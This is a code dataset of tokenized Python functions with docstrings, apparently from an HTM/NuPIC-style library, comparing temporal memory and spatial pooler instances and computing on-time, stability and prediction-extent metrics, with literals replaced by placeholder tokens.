{"signature": "def sameSegment(seg1, seg2):", "body": "result = True<EOL>for field in [<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:5>, <NUM_LIT:6>]:<EOL><INDENT>if abs(seg1[<NUM_LIT:0>][field] - seg2[<NUM_LIT:0>][field]) > <NUM_LIT>:<EOL><INDENT>result = False<EOL><DEDENT><DEDENT>if len(seg1[<NUM_LIT:1>:]) != len(seg2[<NUM_LIT:1>:]):<EOL><INDENT>result = False<EOL><DEDENT>for syn in seg2[<NUM_LIT:1>:]:<EOL><INDENT>if syn[<NUM_LIT:2>] <= <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>result = False<EOL><DEDENT><DEDENT>if result == True:<EOL><INDENT>for syn in seg1[<NUM_LIT:1>:]:<EOL><INDENT>if syn[<NUM_LIT:2>] <= <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>result = False<EOL><DEDENT>res = sameSynapse(syn, seg2[<NUM_LIT:1>:])<EOL>if res == False:<EOL><INDENT>result = False<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Return True if seg1 and seg2 are identical, ignoring order of synapses", "id": "f17557:m13"}
{"signature": "def tmDiff(tm1, tm2, verbosity = <NUM_LIT:0>, relaxSegmentTests =True):", "body": "<EOL>if sameTMParams(tm1, tm2) == False:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>result = True<EOL>if (tm1.activeState['<STR_LIT:t>'] != tm2.activeState['<STR_LIT:t>']).any():<EOL><INDENT>print('<STR_LIT>', numpy.where(tm1.activeState['<STR_LIT:t>'] != tm2.activeState['<STR_LIT:t>']))<EOL>result = False<EOL><DEDENT>if (tm1.predictedState['<STR_LIT:t>'] - tm2.predictedState['<STR_LIT:t>']).any():<EOL><INDENT>print('<STR_LIT>', numpy.where(tm1.predictedState['<STR_LIT:t>'] != tm2.predictedState['<STR_LIT:t>']))<EOL>result = False<EOL><DEDENT>if tm1.getNumSegments() != tm2.getNumSegments():<EOL><INDENT>print(\"<STR_LIT>\", tm1.getNumSegments(), tm2.getNumSegments())<EOL>result = False<EOL><DEDENT>if tm1.getNumSynapses() != tm2.getNumSynapses():<EOL><INDENT>print(\"<STR_LIT>\", tm1.getNumSynapses(), tm2.getNumSynapses())<EOL>tm1.printCells()<EOL>tm2.printCells()<EOL>result = False<EOL><DEDENT>for c in range(tm1.numberOfCols):<EOL><INDENT>for i in range(tm2.cellsPerColumn):<EOL><INDENT>if tm1.getNumSegmentsInCell(c, i) != tm2.getNumSegmentsInCell(c, i):<EOL><INDENT>print(\"<STR_LIT>\",c,i, end='<STR_LIT:U+0020>')<EOL>print(tm1.getNumSegmentsInCell(c, i), tm2.getNumSegmentsInCell(c, i))<EOL>result = False<EOL><DEDENT><DEDENT><DEDENT>if result == True and not relaxSegmentTests:<EOL><INDENT>for c in range(tm1.numberOfCols):<EOL><INDENT>for i in range(tm2.cellsPerColumn):<EOL><INDENT>nSegs = tm1.getNumSegmentsInCell(c, i)<EOL>for segIdx in range(nSegs):<EOL><INDENT>tm1seg = tm1.getSegmentOnCell(c, i, segIdx)<EOL>res = False<EOL>for tm2segIdx in range(nSegs):<EOL><INDENT>tm2seg = tm2.getSegmentOnCell(c, i, tm2segIdx)<EOL>if sameSegment(tm1seg, tm2seg) == True:<EOL><INDENT>res = True<EOL>break<EOL><DEDENT><DEDENT>if res == False:<EOL><INDENT>print(\"<STR_LIT>\",c,i)<EOL>if verbosity >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>tm1.printCell(c, i)<EOL>print(\"<STR_LIT>\")<EOL>tm2.printCell(c, i)<EOL><DEDENT>result = False<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if result == True and (verbosity > <NUM_LIT:1>):<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return result<EOL>", "docstring": "Given two TM instances, list the difference between them and returns False\nif there is a difference. This function checks the major parameters. If this\npasses (and checkLearn is true) it checks the number of segments on\neach cell. If this passes, checks each synapse on each segment.\nWhen comparing C++ and Py, the segments are usually in different orders in the\ncells. tmDiff ignores segment order when comparing TM's.", "id": "f17557:m14"}
{"signature": "def tmDiff2(tm1, tm2, verbosity = <NUM_LIT:0>, relaxSegmentTests =True,<EOL>checkLearn = True, checkStates = True):", "body": "<EOL>if sameTMParams(tm1, tm2) == False:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>tm1Label = \"<STR_LIT>\" % tm1.__class__.__name__<EOL>tm2Label = \"<STR_LIT>\" % tm2.__class__.__name__<EOL>result = True<EOL>if checkStates:<EOL><INDENT>if (tm1.infActiveState['<STR_LIT:t>'] != tm2.infActiveState['<STR_LIT:t>']).any():<EOL><INDENT>print('<STR_LIT>', numpy.where(tm1.infActiveState['<STR_LIT:t>'] != tm2.infActiveState['<STR_LIT:t>']))<EOL>result = False<EOL><DEDENT>if (tm1.infPredictedState['<STR_LIT:t>'] - tm2.infPredictedState['<STR_LIT:t>']).any():<EOL><INDENT>print('<STR_LIT>', numpy.where(tm1.infPredictedState['<STR_LIT:t>'] != tm2.infPredictedState['<STR_LIT:t>']))<EOL>result = False<EOL><DEDENT>if checkLearn and (tm1.lrnActiveState['<STR_LIT:t>'] - tm2.lrnActiveState['<STR_LIT:t>']).any():<EOL><INDENT>print('<STR_LIT>', numpy.where(tm1.lrnActiveState['<STR_LIT:t>'] != tm2.lrnActiveState['<STR_LIT:t>']))<EOL>result = False<EOL><DEDENT>if checkLearn and (tm1.lrnPredictedState['<STR_LIT:t>'] - tm2.lrnPredictedState['<STR_LIT:t>']).any():<EOL><INDENT>print('<STR_LIT>', numpy.where(tm1.lrnPredictedState['<STR_LIT:t>'] != tm2.lrnPredictedState['<STR_LIT:t>']))<EOL>result = False<EOL><DEDENT>if checkLearn and abs(tm1.getAvgLearnedSeqLength() - tm2.getAvgLearnedSeqLength()) > <NUM_LIT>:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>print(tm1.getAvgLearnedSeqLength(), \"<STR_LIT>\", tm2.getAvgLearnedSeqLength())<EOL>result = False<EOL><DEDENT><DEDENT>if tm1.getNumSegments() != tm2.getNumSegments():<EOL><INDENT>print(\"<STR_LIT>\", tm1.getNumSegments(), tm2.getNumSegments())<EOL>result = False<EOL><DEDENT>if tm1.getNumSynapses() != tm2.getNumSynapses():<EOL><INDENT>print(\"<STR_LIT>\", tm1.getNumSynapses(), tm2.getNumSynapses())<EOL>if verbosity >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\" % tm1Label, end='<STR_LIT:U+0020>')<EOL>tm1.printCells()<EOL>print(\"<STR_LIT>\" % tm2Label, end='<STR_LIT:U+0020>')<EOL>tm2.printCells()<EOL><DEDENT><DEDENT>for c in range(tm1.numberOfCols):<EOL><INDENT>for i in range(tm2.cellsPerColumn):<EOL><INDENT>if tm1.getNumSegmentsInCell(c, i) != tm2.getNumSegmentsInCell(c, i):<EOL><INDENT>print(\"<STR_LIT>\",c,i, end='<STR_LIT:U+0020>')<EOL>print(tm1.getNumSegmentsInCell(c, i), tm2.getNumSegmentsInCell(c, i))<EOL>result = False<EOL><DEDENT><DEDENT><DEDENT>if result == True and not relaxSegmentTests and checkLearn:<EOL><INDENT>for c in range(tm1.numberOfCols):<EOL><INDENT>for i in range(tm2.cellsPerColumn):<EOL><INDENT>nSegs = tm1.getNumSegmentsInCell(c, i)<EOL>for segIdx in range(nSegs):<EOL><INDENT>tm1seg = tm1.getSegmentOnCell(c, i, segIdx)<EOL>res = False<EOL>for tm2segIdx in range(nSegs):<EOL><INDENT>tm2seg = tm2.getSegmentOnCell(c, i, tm2segIdx)<EOL>if sameSegment(tm1seg, tm2seg) == True:<EOL><INDENT>res = True<EOL>break<EOL><DEDENT><DEDENT>if res == False:<EOL><INDENT>print(\"<STR_LIT>\",c,i)<EOL>result = False<EOL>if verbosity >= <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % tm1Label, end='<STR_LIT:U+0020>')<EOL>tm1.printCell(c, i)<EOL>print(\"<STR_LIT>\" % tm2Label, end='<STR_LIT:U+0020>')<EOL>tm2.printCell(c, i)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if result == True and (verbosity > <NUM_LIT:1>):<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return result<EOL>", "docstring": "Given two TM instances, list the difference between them and returns False\nif there is a difference. This function checks the major parameters. If this\npasses (and checkLearn is true) it checks the number of segments on each cell.\nIf this passes, checks each synapse on each segment.\nWhen comparing C++ and Py, the segments are usually in different orders in the\ncells. tmDiff ignores segment order when comparing TM's.\n\nIf checkLearn is True, will check learn states as well as all the segments\n\nIf checkStates is True, will check the various state arrays", "id": "f17557:m15"}
{"signature": "def spDiff(SP1,SP2):", "body": "if(len(SP1._masterConnectedM)!=len(SP2._masterConnectedM)):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>if(len(SP1._masterPotentialM)!=len(SP2._masterPotentialM)):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>if(len(SP1._masterPermanenceM)!=len(SP2._masterPermanenceM)):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>for i in range(<NUM_LIT:0>,len(SP1._masterConnectedM)):<EOL><INDENT>connected1 = SP1._masterConnectedM[i]<EOL>connected2 = SP2._masterConnectedM[i]<EOL>if(connected1!=connected2):<EOL><INDENT>print(\"<STR_LIT>\"  % (i))<EOL>return False<EOL><DEDENT>permanences1 = SP1._masterPermanenceM[i];<EOL>permanences2 = SP2._masterPermanenceM[i];<EOL>if(permanences1!=permanences2):<EOL><INDENT>print(\"<STR_LIT>\" % (i))<EOL>return False<EOL><DEDENT>potential1 = SP1._masterPotentialM[i];<EOL>potential2 = SP2._masterPotentialM[i];<EOL>if(potential1!=potential2):<EOL><INDENT>print(\"<STR_LIT>\" % (i))<EOL>return False<EOL><DEDENT><DEDENT>if(not numpy.array_equal(SP1._firingBoostFactors,SP2._firingBoostFactors)):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>if(not numpy.array_equal(SP1._dutyCycleAfterInh,SP2._dutyCycleAfterInh)):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>if(not numpy.array_equal(SP1._dutyCycleBeforeInh,SP2._dutyCycleBeforeInh)):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>return True<EOL>", "docstring": "Function that compares two spatial pooler instances. Compares the\nstatic variables between the two poolers to make sure that they are equivalent.\n\nParameters\n-----------------------------------------\nSP1 first spatial pooler to be compared\n\nSP2 second spatial pooler to be compared\n\nTo establish equality, this function does the following:\n\n1.Compares the connected synapse matrices for each coincidence\n\n2.Compare the potential synapse matrices for each coincidence\n\n3.Compare the permanence matrices for each coincidence\n\n4.Compare the firing boosts between the two poolers.\n\n5.Compare the duty cycles before and after inhibition for both poolers", "id": "f17557:m16"}
{"signature": "def removeSeqStarts(vectors, resets, numSteps=<NUM_LIT:1>):", "body": "<EOL>if numSteps == <NUM_LIT:0>:<EOL><INDENT>return vectors<EOL><DEDENT>resetIndices = resets.nonzero()[<NUM_LIT:0>]<EOL>removeRows = resetIndices<EOL>for i in range(numSteps-<NUM_LIT:1>):<EOL><INDENT>removeRows = numpy.hstack((removeRows, resetIndices+i+<NUM_LIT:1>))<EOL><DEDENT>return numpy.delete(vectors, removeRows, axis=<NUM_LIT:0>)<EOL>", "docstring": "Convert a list of sequences of pattern indices, and a pattern lookup table\n    into a an array of patterns\n\nParameters:\n-----------------------------------------------\nvectors:          the data vectors. Row 0 contains the outputs from time\n                  step 0, row 1 from time step 1, etc.\nresets:           the reset signal. This is a vector of booleans\n                  the same length as the number of rows in 'vectors'. It\n                  has a 1 where a sequence started and a 0 otherwise. The\n                  first 'numSteps' rows of 'vectors' of each sequence will\n                  not be included in the return result.\nnumSteps          Number of samples to remove from the start of each sequence\n\nretval:           copy of vectors, with the first 'numSteps' samples at the\n                  start of each sequence removed.", "id": "f17557:m17"}
{"signature": "def _accumulateFrequencyCounts(values, freqCounts=None):", "body": "<EOL>values = numpy.array(values)<EOL>numEntries = values.max() + <NUM_LIT:1><EOL>if freqCounts is not None:<EOL><INDENT>numEntries = max(numEntries, freqCounts.size)<EOL><DEDENT>if freqCounts is not None:<EOL><INDENT>if freqCounts.size != numEntries:<EOL><INDENT>newCounts = numpy.zeros(numEntries, dtype='<STR_LIT>')<EOL>newCounts[<NUM_LIT:0>:freqCounts.size] = freqCounts<EOL><DEDENT>else:<EOL><INDENT>newCounts = freqCounts<EOL><DEDENT><DEDENT>else:<EOL><INDENT>newCounts = numpy.zeros(numEntries, dtype='<STR_LIT>')<EOL><DEDENT>for v in values:<EOL><INDENT>newCounts[v] += <NUM_LIT:1><EOL><DEDENT>return newCounts<EOL>", "docstring": "Accumulate a list of values 'values' into the frequency counts 'freqCounts',\nand return the updated frequency counts\n\nFor example, if values contained the following: [1,1,3,5,1,3,5], and the initial\nfreqCounts was None, then the return value would be:\n[0,3,0,2,0,2]\nwhich corresponds to how many of each value we saw in the input, i.e. there\nwere 0 0's, 3 1's, 0 2's, 2 3's, 0 4's, and 2 5's.\n\nIf freqCounts is not None, the values will be added to the existing counts and\nthe length of the frequency Counts will be automatically extended as necessary\n\nParameters:\n-----------------------------------------------\nvalues:         The values to accumulate into the frequency counts\nfreqCounts:     Accumulated frequency counts so far, or none", "id": "f17557:m18"}
{"signature": "def _listOfOnTimesInVec(vector):", "body": "<EOL>durations = []<EOL>numOnTimes   = <NUM_LIT:0><EOL>totalOnTime = <NUM_LIT:0><EOL>nonzeros = numpy.array(vector).nonzero()[<NUM_LIT:0>]<EOL>if len(nonzeros) == <NUM_LIT:0>:<EOL><INDENT>return (<NUM_LIT:0>, <NUM_LIT:0>, [])<EOL><DEDENT>if len(nonzeros) == <NUM_LIT:1>:<EOL><INDENT>return (<NUM_LIT:1>, <NUM_LIT:1>, [<NUM_LIT:1>])<EOL><DEDENT>prev = nonzeros[<NUM_LIT:0>]<EOL>onTime = <NUM_LIT:1><EOL>endIdx = nonzeros[-<NUM_LIT:1>]<EOL>for idx in nonzeros[<NUM_LIT:1>:]:<EOL><INDENT>if idx != prev+<NUM_LIT:1>:<EOL><INDENT>totalOnTime += onTime<EOL>numOnTimes  += <NUM_LIT:1><EOL>durations.append(onTime)<EOL>onTime       = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>onTime += <NUM_LIT:1><EOL><DEDENT>prev = idx<EOL><DEDENT>totalOnTime += onTime<EOL>numOnTimes  += <NUM_LIT:1><EOL>durations.append(onTime)<EOL>return (totalOnTime, numOnTimes, durations)<EOL>", "docstring": "Returns 3 things for a vector:\n  * the total on time\n  * the number of runs\n  * a list of the durations of each run.\n\nParameters:\n-----------------------------------------------\ninput stream: 11100000001100000000011111100000\nreturn value: (11, 3, [3, 2, 6])", "id": "f17557:m19"}
{"signature": "def _fillInOnTimes(vector, durations):", "body": "<EOL>nonzeros = numpy.array(vector).nonzero()[<NUM_LIT:0>]<EOL>if len(nonzeros) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>if len(nonzeros) == <NUM_LIT:1>:<EOL><INDENT>durations[nonzeros[<NUM_LIT:0>]] = <NUM_LIT:1><EOL>return<EOL><DEDENT>prev = nonzeros[<NUM_LIT:0>]<EOL>onTime = <NUM_LIT:1><EOL>onStartIdx = prev<EOL>endIdx = nonzeros[-<NUM_LIT:1>]<EOL>for idx in nonzeros[<NUM_LIT:1>:]:<EOL><INDENT>if idx != prev+<NUM_LIT:1>:<EOL><INDENT>durations[onStartIdx:onStartIdx+onTime] = list(range(<NUM_LIT:1>,onTime+<NUM_LIT:1>))<EOL>onTime       = <NUM_LIT:1><EOL>onStartIdx = idx<EOL><DEDENT>else:<EOL><INDENT>onTime += <NUM_LIT:1><EOL><DEDENT>prev = idx<EOL><DEDENT>durations[onStartIdx:onStartIdx+onTime] = list(range(<NUM_LIT:1>,onTime+<NUM_LIT:1>))<EOL>", "docstring": "Helper function used by averageOnTimePerTimestep. 'durations' is a vector\nwhich must be the same len as vector. For each \"on\" in vector, it fills in\nthe corresponding element of duration with the duration of that \"on\" signal\nup until that time\n\nParameters:\n-----------------------------------------------\nvector:     vector of output values over time\ndurations:  vector same length as 'vector', initialized to 0's.\n            This is filled in with the durations of each 'on\" signal.\n\nExample:\nvector:     11100000001100000000011111100000\ndurations:  12300000001200000000012345600000", "id": "f17557:m20"}
{"signature": "def averageOnTimePerTimestep(vectors, numSamples=None):", "body": "<EOL>if vectors.ndim == <NUM_LIT:1>:<EOL><INDENT>vectors.shape = (-<NUM_LIT:1>,<NUM_LIT:1>)<EOL><DEDENT>numTimeSteps = len(vectors)<EOL>numElements  = len(vectors[<NUM_LIT:0>])<EOL>if numSamples is not None:<EOL><INDENT>import pdb; pdb.set_trace()   <EOL>countOn    = numpy.random.randint(<NUM_LIT:0>, numElements, numSamples)<EOL>vectors = vectors[:, countOn]<EOL><DEDENT>durations = numpy.zeros(vectors.shape, dtype='<STR_LIT>')<EOL>for col in range(vectors.shape[<NUM_LIT:1>]):<EOL><INDENT>_fillInOnTimes(vectors[:,col], durations[:,col])<EOL><DEDENT>sums = vectors.sum(axis=<NUM_LIT:1>)<EOL>sums.clip(min=<NUM_LIT:1>, max=numpy.inf, out=sums)<EOL>avgDurations = durations.sum(axis=<NUM_LIT:1>, dtype='<STR_LIT>') / sums<EOL>avgOnTime = avgDurations.sum() / (avgDurations > <NUM_LIT:0>).sum()<EOL>freqCounts = _accumulateFrequencyCounts(avgDurations)<EOL>return (avgOnTime, freqCounts)<EOL>", "docstring": "Computes the average on-time of the outputs that are on at each time step, and\nthen averages this over all time steps.\n\nThis metric is resiliant to the number of outputs that are on at each time\nstep. That is, if time step 0 has many more outputs on than time step 100, it\nwon't skew the results. This is particularly useful when measuring the\naverage on-time of things like the temporal memory output where you might\nhave many columns bursting at the start of a sequence - you don't want those\nstart of sequence bursts to over-influence the calculated average on-time.\n\nParameters:\n-----------------------------------------------\nvectors:          the vectors for which the onTime is calculated. Row 0\n                  contains the outputs from time step 0, row 1 from time step\n                  1, etc.\nnumSamples:       the number of elements for which on-time is calculated.\n                  If not specified, then all elements are looked at.\n\nReturns  (scalar average on-time over all time steps,\n          list containing frequency counts of each encountered on-time)", "id": "f17557:m21"}
{"signature": "def averageOnTime(vectors, numSamples=None):", "body": "<EOL>if vectors.ndim == <NUM_LIT:1>:<EOL><INDENT>vectors.shape = (-<NUM_LIT:1>,<NUM_LIT:1>)<EOL><DEDENT>numTimeSteps = len(vectors)<EOL>numElements  = len(vectors[<NUM_LIT:0>])<EOL>if numSamples is None:<EOL><INDENT>numSamples = numElements<EOL>countOn    = list(range(numElements))<EOL><DEDENT>else:<EOL><INDENT>countOn    = numpy.random.randint(<NUM_LIT:0>, numElements, numSamples)<EOL><DEDENT>sumOfLengths = <NUM_LIT:0.0><EOL>onTimeFreqCounts = None<EOL>n = <NUM_LIT:0><EOL>for i in countOn:<EOL><INDENT>(onTime, segments, durations) = _listOfOnTimesInVec(vectors[:,i])<EOL>if onTime != <NUM_LIT:0.0>:<EOL><INDENT>sumOfLengths += onTime<EOL>n += segments<EOL>onTimeFreqCounts = _accumulateFrequencyCounts(durations, onTimeFreqCounts)<EOL><DEDENT><DEDENT>if n > <NUM_LIT:0>:<EOL><INDENT>return (sumOfLengths/n, onTimeFreqCounts)<EOL><DEDENT>else:<EOL><INDENT>return (<NUM_LIT:0.0>, onTimeFreqCounts)<EOL><DEDENT>", "docstring": "Returns the average on-time, averaged over all on-time runs.\n\nParameters:\n-----------------------------------------------\nvectors:          the vectors for which the onTime is calculated. Row 0\n                  contains the outputs from time step 0, row 1 from time step\n                  1, etc.\nnumSamples:       the number of elements for which on-time is calculated.\n                  If not specified, then all elements are looked at.\n\nReturns:    (scalar average on-time of all outputs,\n             list containing frequency counts of each encountered on-time)", "id": "f17557:m22"}
{"signature": "def plotOutputsOverTime(vectors, buVectors=None, title='<STR_LIT>'):", "body": "<EOL>import pylab<EOL>pylab.ion()<EOL>pylab.figure()<EOL>imData = vectors.transpose()<EOL>if buVectors is not None:<EOL><INDENT>assert(buVectors.shape == vectors.shape)<EOL>imData = imData.copy()<EOL>imData[buVectors.transpose().astype('<STR_LIT:bool>')] = <NUM_LIT:2><EOL><DEDENT>pylab.imshow(imData, aspect='<STR_LIT>', cmap=pylab.cm.gray_r,<EOL>interpolation='<STR_LIT>')<EOL>pylab.title(title)<EOL>", "docstring": "Generate a figure that shows each output over time. Time goes left to right,\nand each output is plotted on a different line, allowing you to see the overlap\nin the outputs, when they turn on/off, etc.\n\nParameters:\n------------------------------------------------------------\nvectors:            the vectors to plot\nbuVectors:          These are normally specified when plotting the pooling\n                    outputs of the temporal memory over time. The 'buVectors'\n                    are the sequence outputs and the 'vectors' are the\n                    pooling outputs. The buVector (sequence) outputs will be drawn\n                    in a darker color than the vector (pooling) outputs to\n                    distinguish where the cell is outputting due to pooling vs.\n                    sequence memory.\ntitle:              title for the plot\navgOnTime:          The average on-time measurement. If not supplied,\n                    then it will be calculated from the passed in vectors.", "id": "f17557:m23"}
{"signature": "def plotHistogram(freqCounts, title='<STR_LIT>', xLabel='<STR_LIT>'):", "body": "import pylab<EOL>pylab.ion()<EOL>pylab.figure()<EOL>pylab.bar(numpy.arange(len(freqCounts)) - <NUM_LIT:0.5>, freqCounts)<EOL>pylab.title(title)<EOL>pylab.xlabel(xLabel)<EOL>", "docstring": "This is usually used to display a histogram of the on-times encountered\nin a particular output.\n\nThe freqCounts is a vector containg the frequency counts of each on-time\n(starting at an on-time of 0 and going to an on-time = len(freqCounts)-1)\n\nThe freqCounts are typically generated from the averageOnTimePerTimestep\nor averageOnTime methods of this module.\n\nParameters:\n-----------------------------------------------\nfreqCounts:       The frequency counts to plot\ntitle:            Title of the plot", "id": "f17557:m24"}
{"signature": "def populationStability(vectors, numSamples=None):", "body": "<EOL>numVectors = len(vectors)<EOL>if numSamples is None:<EOL><INDENT>numSamples = numVectors-<NUM_LIT:1><EOL>countOn = list(range(numVectors-<NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>countOn = numpy.random.randint(<NUM_LIT:0>, numVectors-<NUM_LIT:1>, numSamples)<EOL><DEDENT>sigmap = <NUM_LIT:0.0><EOL>for i in countOn:<EOL><INDENT>match = checkMatch(vectors[i], vectors[i+<NUM_LIT:1>], sparse=False)<EOL>if match[<NUM_LIT:1>] != <NUM_LIT:0>:<EOL><INDENT>sigmap += float(match[<NUM_LIT:0>])/match[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>return sigmap / numSamples<EOL>", "docstring": "Returns the stability for the population averaged over multiple time steps\n\nParameters:\n-----------------------------------------------\nvectors:          the vectors for which the stability is calculated\nnumSamples        the number of time steps where stability is counted\n\nAt each time step, count the fraction of the active elements which are stable\nfrom the previous step\nAverage all the fraction", "id": "f17557:m25"}
{"signature": "def percentOutputsStableOverNTimeSteps(vectors, numSamples=None):", "body": "<EOL>totalSamples = len(vectors)<EOL>windowSize = numSamples<EOL>numWindows = <NUM_LIT:0><EOL>pctStable = <NUM_LIT:0><EOL>for wStart in range(<NUM_LIT:0>, totalSamples-windowSize+<NUM_LIT:1>):<EOL><INDENT>data = vectors[wStart:wStart+windowSize]<EOL>outputSums = data.sum(axis=<NUM_LIT:0>)<EOL>stableOutputs = (outputSums == windowSize).sum()<EOL>samplePctStable = float(stableOutputs) / data[<NUM_LIT:0>].sum()<EOL>print(samplePctStable)<EOL>pctStable += samplePctStable<EOL>numWindows += <NUM_LIT:1><EOL><DEDENT>return float(pctStable) / numWindows<EOL>", "docstring": "Returns the percent of the outputs that remain completely stable over\nN time steps.\n\nParameters:\n-----------------------------------------------\nvectors:        the vectors for which the stability is calculated\nnumSamples:     the number of time steps where stability is counted\n\nFor each window of numSamples, count how many outputs are active during\nthe entire window.", "id": "f17557:m26"}
{"signature": "def computeSaturationLevels(outputs, outputsShape, sparseForm=False):", "body": "<EOL>if not sparseForm:<EOL><INDENT>outputs = outputs.reshape(outputsShape)<EOL>spOut = SM32(outputs)<EOL><DEDENT>else:<EOL><INDENT>if len(outputs) > <NUM_LIT:0>:<EOL><INDENT>assert (outputs.max() < outputsShape[<NUM_LIT:0>] * outputsShape[<NUM_LIT:1>])<EOL><DEDENT>spOut = SM32(<NUM_LIT:1>, outputsShape[<NUM_LIT:0>] * outputsShape[<NUM_LIT:1>])<EOL>spOut.setRowFromSparse(<NUM_LIT:0>, outputs, [<NUM_LIT:1>]*len(outputs))<EOL>spOut.reshape(outputsShape[<NUM_LIT:0>], outputsShape[<NUM_LIT:1>])<EOL><DEDENT>regionSize = <NUM_LIT:15><EOL>rows = range(regionSize+<NUM_LIT:1>, outputsShape[<NUM_LIT:0>]+<NUM_LIT:1>, regionSize)<EOL>cols = range(regionSize+<NUM_LIT:1>, outputsShape[<NUM_LIT:1>]+<NUM_LIT:1>, regionSize)<EOL>regionSums = spOut.nNonZerosPerBox(rows, cols)<EOL>(locations, values) = regionSums.tolist()<EOL>values /= float(regionSize * regionSize)<EOL>sat = list(values)<EOL>innerSat = []<EOL>locationSet = set(locations)<EOL>for (location, value) in zip(locations, values):<EOL><INDENT>(row, col) = location<EOL>if (row-<NUM_LIT:1>,col) in locationSet and (row, col-<NUM_LIT:1>) in locationSetand (row+<NUM_LIT:1>, col) in locationSet and (row, col+<NUM_LIT:1>) in locationSet:<EOL><INDENT>innerSat.append(value)<EOL><DEDENT><DEDENT>return (sat, innerSat)<EOL>", "docstring": "Compute the saturation for a continuous level. This breaks the level into\nmultiple regions and computes the saturation level for each region.\n\nParameters:\n--------------------------------------------\noutputs:      output of the level. If sparseForm is True, this is a list of\n                the non-zeros. If sparseForm is False, it is the dense\n                representation\noutputsShape: The shape of the outputs of the level (height, width)\nretval:       (sat, innerSat):\n                sat: list of the saturation levels of each non-empty\n                  region of the level (each 0 -> 1.0)\n                innerSat: list of the saturation level of each non-empty region\n                     that is not near an edge (each 0 -> 1.0)", "id": "f17557:m27"}
{"signature": "def checkMatch(input, prediction, sparse=True, verbosity=<NUM_LIT:0>):", "body": "if sparse:<EOL><INDENT>activeElementsInInput = set(input)<EOL>activeElementsInPrediction = set(prediction)<EOL><DEDENT>else:<EOL><INDENT>activeElementsInInput = set(input.nonzero()[<NUM_LIT:0>])<EOL>activeElementsInPrediction = set(prediction.nonzero()[<NUM_LIT:0>])<EOL><DEDENT>totalActiveInPrediction = len(activeElementsInPrediction)<EOL>totalActiveInInput     = len(activeElementsInInput)<EOL>foundInInput = len(activeElementsInPrediction.intersection(activeElementsInInput))<EOL>missingFromInput = len(activeElementsInPrediction.difference(activeElementsInInput))<EOL>missingFromPrediction = len(activeElementsInInput.difference(activeElementsInPrediction))<EOL>if verbosity >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\", foundInInput, \"<STR_LIT>\", totalActiveInPrediction, end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\", missingFromInput, \"<STR_LIT>\",totalActiveInPrediction, end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\", missingFromPrediction, \"<STR_LIT>\",totalActiveInInput)<EOL><DEDENT>return (foundInInput, totalActiveInInput, missingFromInput,<EOL>totalActiveInPrediction)<EOL>", "docstring": "Compares the actual input with the predicted input and returns results\n\nParameters:\n-----------------------------------------------\ninput:          The actual input\nprediction:     the predicted input\nverbosity:        If > 0, print debugging messages\nsparse:         If true, they are in sparse form (list of\n                   active indices)\n\nretval         (foundInInput, totalActiveInInput, missingFromInput,\n                          totalActiveInPrediction)\n  foundInInput:       The number of predicted active elements that were\n                      found in the actual input\n  totalActiveInInput: The total number of active elements in the input.\n  missingFromInput:   The number of predicted active elements that were not\n                      found in the actual input\n  totalActiveInPrediction:  The total number of active elements in the prediction", "id": "f17557:m28"}
{"signature": "def predictionExtent(inputs, resets, outputs, minOverlapPct=<NUM_LIT>):", "body": "<EOL>predCounts = None<EOL>predTotal = <NUM_LIT:0><EOL>nSamples = len(outputs)<EOL>predTotalNotLimited = <NUM_LIT:0><EOL>nSamplesNotLimited = <NUM_LIT:0><EOL>nCols = len(inputs[<NUM_LIT:0>])<EOL>nCellsPerCol = len(outputs[<NUM_LIT:0>]) // nCols<EOL>for idx in range(nSamples):<EOL><INDENT>activeCols = outputs[idx].reshape(nCols, nCellsPerCol).max(axis=<NUM_LIT:1>)<EOL>steps = <NUM_LIT:0><EOL>while (idx+steps+<NUM_LIT:1> < nSamples) and (resets[idx+steps+<NUM_LIT:1>] == <NUM_LIT:0>):<EOL><INDENT>overlap = numpy.logical_and(inputs[idx+steps+<NUM_LIT:1>], activeCols)<EOL>overlapPct = <NUM_LIT> * float(overlap.sum()) / inputs[idx+steps+<NUM_LIT:1>].sum()<EOL>if overlapPct >= minOverlapPct:<EOL><INDENT>steps += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>predCounts = _accumulateFrequencyCounts([steps], predCounts)<EOL>predTotal += steps<EOL>if resets[idx] or((idx+steps+<NUM_LIT:1> < nSamples) and (not resets[idx+steps+<NUM_LIT:1>])):<EOL><INDENT>predTotalNotLimited += steps<EOL>nSamplesNotLimited += <NUM_LIT:1><EOL><DEDENT><DEDENT>return (float(predTotal) / nSamples,<EOL>float(predTotalNotLimited) / 